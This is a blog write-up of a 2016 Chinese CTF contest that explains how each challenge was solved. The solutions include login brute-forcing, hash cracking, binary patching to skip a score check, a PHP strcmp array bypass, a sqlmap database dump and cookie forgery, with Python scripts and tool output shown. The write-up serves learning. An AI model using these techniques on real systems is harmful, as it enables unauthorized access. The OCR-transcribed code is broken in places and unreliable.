## NEDU第一届融思杯网络安全大赛WriteUp



<u>chuangfang3435</u> ● 于 2016-06-04 20:25:00 发布 ● 287 ☆ 收藏 文章标签: <u>网络 php python</u> 原文链接: <u>https://my.oschina.net/u/2616541/blog/687201</u> 版权 Rs平台

1. 签到

一开始看见这道题提及到Alpha Go, 思路一下就被带到了李世石大兄弟那里, 但是题干中又给出一个什么 IRC:219.237.7.246:8080, 百度一发, 叫"因特网中继聊天", 这是什么东西嘛, 和Alpha Go有什么关系..但是这 题的题目名称叫做签到, 所以我的思想就是一定有哪个隐藏的页面, 到达那个页面利用我的token然后balabala 就会得到flag, 开始扫219.237.7.246下面的端口吧, 结果出来5003, 5004, 5005, 8000 然而这前三个端口是另外 的三道题, 场控说题目所有的已知都是有用的, 这时才把注意力放在IRC身上, 然后百度出来一个叫做mIRC的 软件, 配置一下频道, 确实连到了给出的频道, 里面有一个公共聊天室, 有几个是场控大人, 还有一个机器 人, 我竟然每个人都发了flag、flag+token、get the flag+token, 最后get flag + token得到了第一个flag

mIRC配置: http://blog.csdn.net/john cdy/article/details/7742218

2. 图片里的秘密

这题很明确,就是用给出的图片,然后解密图片就拿到flag,真是太聪明了,打开连接.....为毛是一串英语.....翻 译出来是不要被表象所迷惑.....很明显,这一定把图片的路径隐藏到了某个地方,直接放burp里面抓一下,看看 报文里有没有有关flag的信息,跑了之后搜到了一个flagpath,很明显这个是告诉我们flag的地址,但是这万一就 是flag呢,拿去试了一下.....果然不是flag,老老实实的把这复制到地址栏吧,还真进去了,又出来一大串英 文.....告诉我必须要从......这个地址进入,把这段放地址栏里跑还进不去这个网页,也是醉了,但是还告诉一定 要从这里进入才行,说明在这段背后一定隐藏着什么,现在的大体的方向是没错的,把这个地址放进burp里面 跑一下,说不定会抓到下一个flagpath。结果跑了n遍,什么都没有抓到.....之前看到过一个X-Forwarded-For的 头,尝试一下X-Forwarded-For:......然后Forward,Bingo!图片找到,down下来,右键记事本,拉到最下面, 摩丝密码,拿到flag

3. 提交

给了一个3000行的密码集,一个login,估计是要1/3000的几率找出那个对的id,username,passwd组合了, 先把密码集down下来,分成3个txt,分别存储id,username,passwd,扔进burp的PitchFork里面慢慢破解吧,看 啥时候返回success,结果可是666,返回了12个正确的组合,而且竟然是0-11个id,来手动搞一波看看什么鬼情 况,前几个还没发现规律,到8,9个的时候发现title已经和id一样了,才反应过来是按照给定的密码集登录3000 次,然后第3001次进入login的时候就是一片彩虹吧,写了个脚本,跑3000次,然后手动打开login,果真是 flag,提交一波~

下面附上代码。Cookie那行后面就是session的一大长串值了

```
1 #!/<u>usr</u>/bin/<u>eny</u> python
2 #-*-coding:utf-8-*-
3 import urllib2,urllib,re
5 url="http://219.235.7.246:5005/login_check"
6 f1 = open("1.txt")
7 n=0
8 while 1:
      line = f1.readline().split(" ",2)
      if line:
          data = {
              "id":line[0].strip(),
              "username":line[1].strip(),
              "password":line[2].strip()
          headers = {
              "Referer": "http://219.235.7.246:5005/login",
               "Cookie":"UserToken=6dca6cbc06e16c8975e27f5a03e50738; path=/;session=.eJx
          data = urllib.urlencode(data)
          req = urllib2.Request(url,data,headers)
          re2 = urllib2.urlopen(req).read()
          print (n)
      if n==3000:
          break
      if not line:
          break
```

## 4. Sha1&md5

这题应该是比较无脑吧,一开始以为是要解密,后来发现并不正确.....然后就考虑对那个cipher text 先md5 再 sha1试试,写了一个脚本跑一波,flag

后来尝试了一波手动两次加密.....5s 太快了臣妾做不到啊....

```
1 #!usr/bin/eny python
2 #-*- coding: UTE-8 -*-
  import urllib2,urllib,re,hashlib
6 url = 'HTTP://219.235.7.246:5003/login'
7 url2 = "HTTP://219.235.7.246:5003/login_check"
9 head = {
       "Cookie":"session=.eJw9j0FrhDAUhP9Keec9N0pJ6GFLVFx4L2ijk1yKVanGRKHt4ugy 72B0k8DMzAz3x3a3
       "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; ry:45.0) Gecko/20100101 Firefox/45.0"
14 re = urllib2.Request(url, headers = head)
15 ba = urllib2.urlopen(re).read() # All the HTML_DOM
16 # print bg
17 b = ba.split("value=\"")
18 b = b[2].split("\"><br/>>")[0].strip() # CipherText
19 c = b[1].split("\"><br/>>")[0].strip() # UserName
22 def jiami(i):
       hash_md5 = hashlib.md5(str(i)).hexdigest()
       hash_sha1 = hashlib.sha1(hash_md5).hexdigest()
       return hash_sha1
26 while n <= 10000:
       a = jiami(n)
       if a == b:
          data = {
               "username":c,
              "ciphertext":b
26 while n <= 10000:
```

27	a = jiami(n)
28	if a == b:
29	data = {
30	"username":c,
31	"ciphertext":b,
32	"plaintext":n
33	
34	<pre>dat = urllib.urlencode(data)</pre>
35	<pre>ht = urllib2.Request(url2,dat,head)</pre>
36	<pre>ht1 = urllib2.urlopen(ht)</pre>
37	print ht1.read()
38	break
39	else:
40	n = n + 1

## 5. 贪吃蛇

这个是啥子嘛,就是要玩贪吃蛇,还不让我控制蛇,要连socket,从看见这道题之前并不知道socket是什么鬼, 先恶补一波如何用python大法连接socket。原来就import一个socket然后再连接一下就行.....发送和接受数据就 send()和recv()就妥,连上socket之后发送自己的token这死蛇也不动啊.....原来是要发送一个命令控制蛇,于是 改进程序,send一个Turn的方向,结果就是朝着一个方向不回头啊不回头.....换一个思路.....右键Notepad++打 开,搜索一下flag,出来一个 很明显就是if else 的句型,所以只要构造if 的条件为1就行了,思路好清晰.....我去哪构造这个if啊.....突然反应到 这题是个Reverse,百度一下有没有傻瓜一点的逆向工具,一开始看见了OD,打开之后确实很高深的样子(省 略室友惊呆的表情),连我自己都惊呆了,这根本看不懂啊.....然后尝试IDA一波,IDA还好一些,进来给我显示 出一大堆框图,这我就不怕了,找到了main,然后没有然后了,框图里面的依旧是不明白什么意思,但是我知 道mov 是赋值,这编译原理课上老师提到一嘴,接着去百度IDA的用法,百度说F5大法可以搞出伪代码,太神 奇了,我只能这么描述它。之后就开始读程序,有一个main的头函数,不用想就知道那个if一定不会藏在这里, 这就太简单了,于是乎准备从第一个函数开始读.....虽然提示了我274个函数,好像是有点多,不过还是得找, 找到了一个叫sub\_401E89的函数,鬼知道这是什么名字,但是里面有惊喜啊

```
if ( dword_4118C0 > 300 )
{
     v7 = malloc(0x14u);
     *(_DWORD *)v7 = 0;
     sub_401000();
     memset(v1, 0, 0x1F4u);
     sprintf((char *)v1, "Success Flag:flag{%s}", v7);
     byte_4118BC = 0;
}
send(*(SOCKET *)((char *)&s + v3), (const char *)v1, strlen((const char *)v1), 0);
```

看到这就太明显了,300是score,如果分数大于300则输出flag,否则就输出什么鬼没看懂.....光标放在300那,按Tab,就能跳到框图那个界面对应的地方,不要问我为什么要按Tab,我也不知道我为什么知道...



果真有jump跳到这个判断loc\_4020AD: 这个地址, 这里的12c是16进制表示的300,百度了一下汇编 cmp 是 compare 的意思,猜测为if 判断,那么如果这个jle为真则跳到Success Flag这个框框里,如此看来只需要把这段 接收到的值==0就可以了,此时我试了N种方法都不能编辑这段框图,准备打开OD尝试一下,查找push 0x14 找 到了位置,此处不查找cmp那行的原因是当你在IDA中打开了一次这个二进制文件和你在OD中打开文件在内存中 占用的地址一定是不同的,所以一定是找不到的,但是push 14h那句不涉及到地址的问题,所以可以依靠这个 来查询CMP的位置,如图

· · ·	0001 00		
	813D C018060	cmp dword ptr ds:[0x61BC0],0x12C	
	, 7E 3D	jle XSocketSe.000520F6	
	6A 14	push 0x14	
	E8 8F02 <b>0</b> 00	call SocketSe.0005234F	
	8BF8	mov edi,eax	
-	83C4 04	add esp,0x4	
-	C707 000000	mov dword ptr ds:[edi],0x0	
-	E8 30EFFFFF	call SocketSe.0005/000	
-	68 F401000	push 0x1F4	
-	6A 00	push 0x0	
-	53	push ebx	
-	E8 E365000	call SocketSe.000586C0	
-	83C4 0C	add esp,0xC	
-	57	push edi	
-	68 <u>04E7</u> 500	push SocketSe 0005E704	ASCII "Success Flag:flag{%s}"
-	53	push ebx	
-	E8 09010000	call SocketSc.000521F5	
-	83C4 ØC	add esp,0xC	
-	C605 BC B060	mov byte pt ds:[0x61BBC],0x0	
>	→8BC3	mov eax,ebx	
- I	8050 01	<pre>lea edx,dword ptr ds:[eax+0x1]</pre>	
	EB 03	jmp XSocketSe.00052100	

左边红色框框里面的灰色箭头标出了jle的另一分支为下面的,中间的是success flag,右边有写出来,我们的思路就是把cmp的判断构造成==0即可,突然发现不会写汇编语言啊,那我就把这个if直接干掉,不判断,直接给我输出flag,选中cmp和 jle 两行然后按空格,选中使用NOP填充,然后在输入框内输入nop,nop就是空的意思,相当于程序里打了两行回车不影响程序执行,然后点运行,上面那个红色的剪头,然后程序连一下端口,给出token,然后接收一下返回数据,拿到flag!



|春秋平台

1. Painted eggshell

● 融思杯首星网络安全	Burp Suite Professional v1.5.18 - lic	censed to LarryLau	*						1 23
← → C 120	Burp Intruder Repeater Window Help							\$ 3	. ■
🔢 应用 & RongSi 🤇	Target Proxy Spider Scanner In	ntruder Repeater Sequencer	Decoder Comparer Exter	oder Options Alerts		全	从入门到	Test FTP	30
	Site map Scope								
	Filter: Hiding not found items; hiding CSS, im	age and general binary content; hidin	ng 4xx responses; hiding empt	ty folders		2			
	http://122.132.85.112.22635     http:///www.ichungu.com     A	Add to scope Spectral printing on the younder, they http://120.132.85.112.22835/ Add to scope Spectrals host Actively scan this host Pasalwey scan this host Compare ster maps Expand requested Bons Delete host Compare ster Delete host Compare ster Ster maps Recept - Lan Accept - Lan	Search Find comments Find cortext Find cortext Schedule task Schedule	Parama rea/404.php Parama rea/404.php Parama xml, application/xmlr dows NT 6.1; WO244) .94 Safatri/537.36 12:122635/ te, sdch 0.8	Status & Length MAME byce 200 355 HTTML q=0.9, image/webp, */*; q AppleWebKit/537.36 (KH	The 404 Not 1			
		2 <	+ > Type a search	h derm		0 matches			
🚳 🚞 🚺	) 🙆 🚾 🥠	States Street, of	Sec. 1	Yest Des	Contraction of the	ñ . ö	i 😫 🛎 i		7:38

🗲 Burp Suite	search   http://120.132.85.112:	:22635/				
Search flag	Go	Options Case sensitive In-scope only Regex Dynamic update Negative match	Locations C Request headers C Request body C	Response headers Response body	Tools       Image: Image image: Image	Scanner   Repeater
Source	Host 🔺	URL	Status Length	Time requested		
Target	http://120.132.85.112:22635	/source/admin.php?Submit=%E5%90%8E%E5%8F%B.	302 271	17:38:27 10 五月 2	016	
Request	Response		~			
Server: A	pache/2.4.7 (Ubuntu)					
X-Powered Location: Content-L Content-T	-By: PHP/5.5.9-lubuntu ./404.php ength: 81 ype: text/html	14				
		11b114e5f522e <mark>215d</mark> d71d7f6b8d57}				T match
Search complet	ed					1 results

先看见这个题也没什么思路,一开始一直在坑爹的找后台的源码,有一个界面还是被BOM给强制搞没了...这里也不知道该怎么解释,就是拿txt写的php代码前面会有隐藏的字符,然后会阻止服务器对php代码进行解析,导致一个空页面,但是在页面的代码部分会有几个转义字符,写writeup的时候我也没使劲去找那个了,后来偶然的误打误撞Search了一下竟然搜到了这个flag.

2. 我是一个网站管理员

这题一开始感觉像是注入,但是手注了好久都没有成功,附上woo Yun的学习资料:

http://drops.wooyun.org/tips/7840 然后想到了扫一下看看有没有隐藏的目录,御剑扫到了一个robots.txt的文件,里面是strcmp,给出了这个命令,代码里面也说了不要用数据库,说明根本就不用注入,pass的值根本就判断不出来,所以就想到传数组进去http://120.132.85.112:4943/?pass[]=

然后就得到了一个地址,说明这条思路还是正确的,输入进地址栏,很明显就是 120.132.85.112:4943/?pass[]

ngSi 🛈 融思杯首届网络安全 🕯 实验吧 - 让实验更简单 🗋 Base64在线编码解码 🕒 各种转码 🌇 隐写术总结 🚾 Convert PcapNC 后台: 832857ad8b88.php

注入了,拿sqlmap跑一下

[18:07:40] [INFO] the SQL query used returns 1 entries C O se [18:07:40] [INFO] resumed: flag{42174fe7-259b-4d49-b421-e8ca1ccfe020} [18:07:40] [INFO] analyzing table dump for possible password hashes Database: afdf 用户信息管理 Table: flag [1 entry]
flag
flag{42174fe7-259b-4d49-b421-e8ca1ccfe020}   ++
[18:07:40] [INFO] table 'afdf.flag' dumped to CSV file '/root/.sqlmap/output/120 .132.85.112/dump/afdf/flag.csv' [19:07:40] [INFO] fatching columns for table 'wear' in database 'afdf'
<mark>root@ZhaoJS:</mark> ~# sqlmap -u "http://120.132.85.112:4943/832857ad8b88.php"data="i d=1"dump
Security — Kali Linux — Kali Docs — Kali Tools — Exploit-D8 — Aircrack-ng Z 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program
[*] starting at 18:07:40
[18:07:40] [INFO] resuming back-end DBMS 'mysql' [18:07:40] [INFO] testing connection to the target URL [18:07:40] [INFO] checking if the target is protected by some kind of WAF/IPS/ID s
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 5271=5271 AND 'pUfe'='pUfe

Get Flag.

3. You Jump I Jump

这题真的没有思路,首先尝试了搜索注入点,没有,搜索未公布的路径,也没有,能想到的是php注入和修改 cookies或者session,场控大人放了一个tip说登录的是admin1,然后只是傻傻的在更改username,后来把 cookies用md5解密了一下,是test2,然后把admin1用md5加密一下再用Burp抓一下cookies改掉,Repeater Go 一下拿到flag。

Burp Intruder Repeater Window Help		
Target Proxy Spider Scanner Intruder Repeater S	Sequencer Decoder Comparer Extender Options Alerts	
1 × 2 ×		
Go Cancel <   * >   *	Target: http://120.132.6	35.112:2080 🖉 ?
Request	Response	
Raw Params Headers Hex	Raw Hex	
GET /admin.php HTTP/1.1	A	
Host: 120.132.85.112:2080		
Accept:		
text/html,application/xhtml+xml,applicatio	on/xml;q=0.9,i	
mage/webp,*/*;q=0.8		
User-Agent: Mozilla/5.0 (Windows NT 6.1: W	NON(64)	
AppleWebKit/537.36 (KHTML, like Gecko)		
Chrome/50.0.2661.94 Safari/537.36		
Accent-Encoding: gzin, deflate, sdch	. pnp	
Accept-Language: zh-CN, zh;q=0.8		
Cookie: token=ad0234829205b9033196ba818f7a	a872b	
	AND A REAL AND A REAL PROPERTY A REAL PROPERTY AND A REAL PROPERTY A REAL PROPERTY AND A REAL PROPERTY	- 0 ×
Burp Intruder Repeater Window Help		
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Con	mparer Extender Options Alerts	
Target     Proxy     Spider     Scanner     Intruder     Repeater     Sequencer     Decoder     Con       1 × 2 ×	mparer Extender Options Alerts	
Target     Proxy     Spider     Scanner     Intruder     Repeater     Sequencer     Decoder     Con       1 × 2 ×       Go     Cancel     <  *	mparer Extender Options Alerts	ip://120.132.85.112:2080 🖉 💈
Target     Proxy     Spider     Scanner     Intruder     Repeater     Sequencer     Decoder     Con       1 × 2 ×             Go     Cancel *</td >!*     Follow redirection       Request	mparer Extender Options Alerts Target: htt	p://120.132.85.112:2080 🖉 💈
Target     Proxy     Spider     Scanner     Intruder     Repeater     Sequencer     Decoder     Con       1 × 2 ×       Go     Cancel     <   *	mparer Extender Options Alerts Target: htt Response Raw Headers Hex HTML Render	ip://120.132.85.112:2080 🖉 💈
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×	mparer Extender Options Alerts Target: htt Response Raw Headers Hex HTML Render HTTP/1.1 200 OK Date: Fri, 13 Nay 2016 01:18:06 GMT	p://120.132.85.112:2080 🖉 💈
Target     Proxy     Spider     Scanner     Intruder     Repeater     Sequencer     Decoder     Con       1 × 2 ×	mparer Extender Options Alerts Target: htt Response Raw Headers Hex HTML Render HTTP/1.1 200 OK Date: Fri, 13 May 2016 01:18:06 GMT Server: Apache/2.4.7 (Ubuntu) X-Powerd-By: PHP/5.5.9-1ubuntu4	ip://120.132.85.112:2080 🖉 💈
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       I       I × 2 ×       Image: Sequencer       Decoder       Con         Go       Cancel       Image: Sequencer       Follow redirection         Request       Raw       Params       Headers       Hex         GET / admin.php       HTTP/1.1       Most:       120.132.85.112:2080         Proxy-Connection:       keep=alive       Accept:       Accept:         text/html,application/xtml+xml,application/xtml;q=0.9,i       made('kebp.'*):co.8       Accept:	mparer Extender Options Alerts Target: htt Response Raw Headers Hex HTML Render HTTP/1.1 200 OK Date: Fri, 13 May 2016 01:18:06 GHT Server: Apache/2.4.7 (Ubuntu) X-Powerd-By: PHP/5.5.9-Lubuntu4 Refresh: 3;url=./index.php Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GHT; Max-Age=0	ip://120.132.85.112:2080 🖉 💈
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       I       I × 2 ×       Image: Sequencer       Decoder       Con         Go       Cancel       I × I × Follow redirection         Request       Raw       Params       Headers       Hex         GET / admin.php       HTTP/1.1       Host:       120.132.05.112:2080         Proxy-Connection:       keep-alive       Accept:       Accept:       Accept:       Accept:         Upgrade-       Insecure-Requests:       1       Upgrade-Insecure-Requests:       1         Upgrade-       Insecure-Requests:       1       How Ket       1	Response       Readers       HTML       Render         HTTF/1.1 200 OK       Date: Fri, 13 May 2016 01:18:06 GHT       Server: Apache/2.4.7 (Ubuntu)         X-Powerd-By: PHP/5.5.9-1Ubuntu4       Refresh: 3;u1=./index.php         Set-Cookie: token-deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0       Vary: Accept-Encoding         Vary: Accept-Encoding       Content-Length: 783	ip://120.132.85.112:2080 🖉 💈
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       I       I × 2 ×       Image: Sequencer       Decoder       Con         Go       Cancel       I × I       Follow redirection         Request       Raw       Params       Headers       Hex         GET / admin.php       HTTP/1.1       Host:       10.132.05.112:2080         Proxy-Connection:       keep-alive       Accept:       Accept:       Accept:         upgrade-Insecure-Requests:       1       Upgrade-Insecure-Requests:       1         Upgrade-Insecure-Requests:       1       Upgrade-Insecure-Requests:       1         Upgrade-Insecure-Requests:       1       Decerkol       Apple WebKit/337.36 (KHTHL, like Gecko)         Apple WebKit/337.36 (CHTHL, Like Gecko)       0.55(5):40 Content (COR 2        Content (COR 2        Content (Core 2	Response       Response         HTTP/1.1 200 OK       Date: Fri, 13 May 2016 01:18:06 GHT         Server: Apache/2.4.7 (Ubuntu)       X-Powerd-By: PHP/5.5.9-1Ubuntu4         Refresh: 3;ul=./index.php       Set-Cookie: token-deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0         Vary: Accept-Encoding       Content-Length: 783         Content-Length: 783       Content-Type: text/html	ip://120.132.85.112:2080 🖉 💈
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       I       I × 2 ×       I <th>mparer       Extender       Options       Alerts         Target: htt         Response         Raw       Headers       Hex       HTML       Render         HTTF/1.1 200 0K       Date: Fri, 13 May 2016 01:18:06 GMT       Server: Apache/2.4.7 (Ubuntu)         X-Powerd-By: PHP/5.5.9-1Ubuntu4       Refresh: 3;uu's-/index.php         Set-Cookis: token-deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0         Vary: Accept-Encoding         Content-Length: 783         Content-Type: text/html</th> <td>ip://120.132.85.112:2080 <table-cell></table-cell></td>	mparer       Extender       Options       Alerts         Target: htt         Response         Raw       Headers       Hex       HTML       Render         HTTF/1.1 200 0K       Date: Fri, 13 May 2016 01:18:06 GMT       Server: Apache/2.4.7 (Ubuntu)         X-Powerd-By: PHP/5.5.9-1Ubuntu4       Refresh: 3;uu's-/index.php         Set-Cookis: token-deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0         Vary: Accept-Encoding         Content-Length: 783         Content-Type: text/html	ip://120.132.85.112:2080 <table-cell></table-cell>
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       I       I × 2 ×       Image: Sequencer       Decoder       Con         Go       Cancel       Image: Sequencer       Decoder       Con         Request       Request       Follow redirection         GET / admin.php       HTTP/1.1       Headers       Headers         Proxy-Connection:       keep-alive       Accept:       Etailon/xml;q=0.9, i         Mage/webp,*/*;q=0.8       Upgrade-Insecure-Requests: 1       Upser-Agent:       Mose NT 6.1; WOW64)         AppleWebKit/537.36       (KHTML, like Gecko)       Chrome/50.0: 2.661.94 Saftari/537.36       Referer: http://120.132.85.112:2080/login.php         Accept-Incoding:       g:zp, deflate, sdch       Accept-Chronoling:       Gell 9	mparer       Extender       Options       Alerts         Target: htt         Response         Raw       Headers       Hex       HTML       Render         HTTF/1.1 200 0K       Date: Fri, 13 May 2016 01:18:06 GMT       Server: Apache/2.4.7 (Ubuntu)         X-Powerd-By: PHP/S.5.9-1ubuntu4       Refresh: 3;uu'=./index.php         Set-Cookie: token-deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0         Vary: Accept-Encoding         Content-Length: 783         Content-Type: text/html                                    Alerta	p://120.132.85.112:2080 <table-cell></table-cell>
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 × <t< td=""><th>mparer       Extender       Options       Alerts         Target: htt         Response         Raw       Headers       Hex       HTML       Render         HTTF/1.1       200 OK       Date:       Fri, 13 May 2016 01:18:06 GMT         Server:       Apache/2.4.7 (Ubuntu)       X-Powerd-By: PHY5.5.9-1Ubuntu4         Refresh:       3;uu'a-/index.php       Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0         Vary:       Accept=Lencoding       Content-Type: text/html           /DOCTVPE html&gt;         <htd>       /DOCTVPE html&gt;         <htd><meta< td="">       Chards="mutf-8"&gt;         <meta< td="">       Chards="mutf-8"         <meta< td="">       Chards       Co</meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></htd></htd></th><td>ip://120.132.85.112:2080 <table-cell></table-cell></td></t<>	mparer       Extender       Options       Alerts         Target: htt         Response         Raw       Headers       Hex       HTML       Render         HTTF/1.1       200 OK       Date:       Fri, 13 May 2016 01:18:06 GMT         Server:       Apache/2.4.7 (Ubuntu)       X-Powerd-By: PHY5.5.9-1Ubuntu4         Refresh:       3;uu'a-/index.php       Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0         Vary:       Accept=Lencoding       Content-Type: text/html           /DOCTVPE html> <htd>       /DOCTVPE html&gt;         <htd><meta< td="">       Chards="mutf-8"&gt;         <meta< td="">       Chards="mutf-8"         <meta< td="">       Chards       Co</meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></meta<></htd></htd>	ip://120.132.85.112:2080 <table-cell></table-cell>
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       Go       Cancel       > *       Follow redirection         Request       Raw       Parama       Headers       Hex         GET /admin.php       HTTP/1.1       Host       Follow redirection         Best 120.132.05.112:2080       Proxy-Connection:       Keep-alive         Accept:       text/html,application/xhtml+xml,application/xml;q=0.9,i       Wupgrade-Insecure-Requests: 1         Usger=Agent:       Mosilia/5.0 (Windows NT 6.1; WOW64)       AppleWebKit/537.36       Referer: http://120.132.055.112:2080/login.php         Accept-Teooling:       gzip, deflate, sdch       Accept-Leooling: gzip, deflate, sdch       Accept-Leooling: gzip, deflate, sdch         Accept-Leooling:       gzip, deflate, sdch       Accept-Leooling: gzip, deflate, sdch       Accept-Leooling: gzip, deflate, sdch         Accept-Leooling:       token=eD0cf25ad42683b3df678c61f42c6bda       Get1642c6bda       Gookie:	<pre>mparer Extender Options Alerts Target: htt Response Rew Headers Hex HTML Render HTTP/1.1 200 0K HTTP/1.1 200 0K HTTP/1.1 200 0K HTTP/1.1 200 0K Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-lubuntu4 Refresh: 3;url=./index.php Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Vary: Accept=Encoding Content=Length: 783 Content=Length: 783 Content=Length: 783 Content=Type: text/html </pre>	p;//120.132.85.112:2080 🖉
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       Go       Cancel       > *       Follow redirection         Request       Go       Cancel       > *       Follow redirection         Request       Raw       Params       Headers       Hex         GET /admin.php       HTTP/1.1       Host:       100.132.05.112:2080         Proxy-Connection:       kcept:       text/html,application/xhtml+xml,application/xml;q=0.9,i         Magree-Insecure-Requests:       1       User-Agent:       Model         Upgrade-Insecure-Requests:       1       User-Agent:       Model         Lorem       Sol.2661.94       Safari/537.36       Referer:       NUMA         Accept-Incoding:       ggi, deflate, sdch       Accept-Incoding: ggi, deflate, sdch       Accept-Incoding: ggi, deflate, sdch         Accept-Incoding:       token=e00cf25ad42683b3df678c61f42c6bda       Gookie:       token=e00cf25ad42683b3df678c61f42c6bda	<pre>mparer Extender Options Alerts Target htt Response Rew Headers Hex HTML Render HTTP/1.1 200 0K HTTP/1.1 200 0K HTTP/1.1 200 0K HTTP/1.1 200 0K Servet: Apache/2.4.7 (UBuntu) X-Powred-By: PHP/5.5.9-lubuntu4 Refrest: 3;url=/index.php Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Vary: Accept-Encoding Content-Length: 783 Content-Length: 783 Content-Type: text/html </pre> <pre> </pre>	p://120.132.85.112:2080 🖉
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       Go       Cancel       > *       Follow redirection         Request       Go       Cancel       > *       Follow redirection         Request       Raw       Parama       Headers       Hex         GET /admin.php       HTTP/1.1       Host:       100.132.05.112:2080         Proxy-Connection:       keep-alive       Accept:       4ccept:         Accept:       text/html.application/xhtml+xml,application/xml;q=0.9,i       mage/webp.*/f:q=0.8       1         Upgrade-       Insecure-Requests:       1       User-Agent:       MoW64)         AppleWebKit/537.36       (KHTML, like Gecko)       Chome/50.0.2661.94       Safari/537.36         Crept-Fneoding:       ggi, deflate, sdch       Accept-Insecure-Requests:       Accept-Insecure-Requests:       Cookie;         Cookie:       token=eD0cf25ad42683b3df678c61f42c6bda       Accept-Insecure-Requests:       Accept-Insecure-Requests:       Accept-Insecure-Requests:         Cookie:       token=eD0cf25ad42683b3df678c61f42c6bda       Accept-Insecure-Requests:       Accept-Insecure-Requests:       Accept-Insecure-Requests:         Cookie:       token=eD0cf25ad42683b3df678c61f4	<pre>mparer Extender Options Alerts Target: htt Response Rew Headers Hex HTML Render HTTP/1.1 200 0K HTTP/1.1 200 0K HTTP/1.1 200 0K HTTP/1.1 200 0K Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-lubuntu4 Refresh: 3;url=/index.php Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Vary: Accept-Encoding Content-Length: 783 Content-Length: 783 Content-Type: text/html </pre> <pre> </pre> <pre></pre>	p://120.132.85.112:2080
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Con         1 × 2 ×       Go       Cancel       > *       Follow redirection         Request       Go       Cancel       > *       Follow redirection         Request       Raw       Parama       Headers       Hex         GET /admin.php       HTTP/1.1       Host:       100.132.05.112:2080         Proxy-Connection:       kcept:       text/html,application/xhtml+xml,application/xml;q=0.9,i         Upgrade-Insecure-Requests:       1       User-Agent: Mosilla/5.0 (Windows NT 6.1; WOW64)         AppleWebKit/S37.36       (KHTML, like Gecko)       Chrome/50.0.2661.94         Chrome/50.0.2661.94       Safari/S37.36       Referer: http://120.132.085.112:2080/login.php         Accept-Language:       sbcCV, sb.gel 9       Cookie:       Cookie:         Cookie:       token=eD0cf25ad42683b3df678c61f42c6bda       Get1642c6bda	<pre>mparer Extender Options Alerts Target: htt Response Rew Headers Hex HTML Render HTTP/1.1 200 OK Date: Fri, 13 May 2016 01:18:06 GHT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-lubuntu4 Refresh: 3;url=./index.php Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Vary: Accept-Encoding Content-Length: 783 Content-Type: text/html </pre> <pre> </pre> <pr< th=""><td>p;//120.132.85.112:2080 <table-cell></table-cell></td></pr<>	p;//120.132.85.112:2080 <table-cell></table-cell>
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Cont         1 × 2 × <t< td=""><th><pre>mparer Extender Options Alerts Target: htt Response Rew Headers Hex HTML Render HTTP/1.1 200 0K Date: Fri, 13 May 2016 01:18:06 GHT Server: Apache/2.4.7 (Ubuntu) X-Powerd-By: PHY5.5.9-1ubuntu4 Refresh: 3;url=./index.php Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Vary: Accept=Encoding Content-Length: 783 Content-Type: text/html </pre> <pre>  <pre>  <pre>  <pre>   <pre>  <pre>  <pre>  <pre> <td>p://120.132.85.112:2080 <table-cell></table-cell></td></pre></pre></pre></pre></pre></pre></pre></pre></th></t<>	<pre>mparer Extender Options Alerts Target: htt Response Rew Headers Hex HTML Render HTTP/1.1 200 0K Date: Fri, 13 May 2016 01:18:06 GHT Server: Apache/2.4.7 (Ubuntu) X-Powerd-By: PHY5.5.9-1ubuntu4 Refresh: 3;url=./index.php Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Vary: Accept=Encoding Content-Length: 783 Content-Type: text/html </pre> <pre>  <pre>  <pre>  <pre>   <pre>  <pre>  <pre>  <pre> 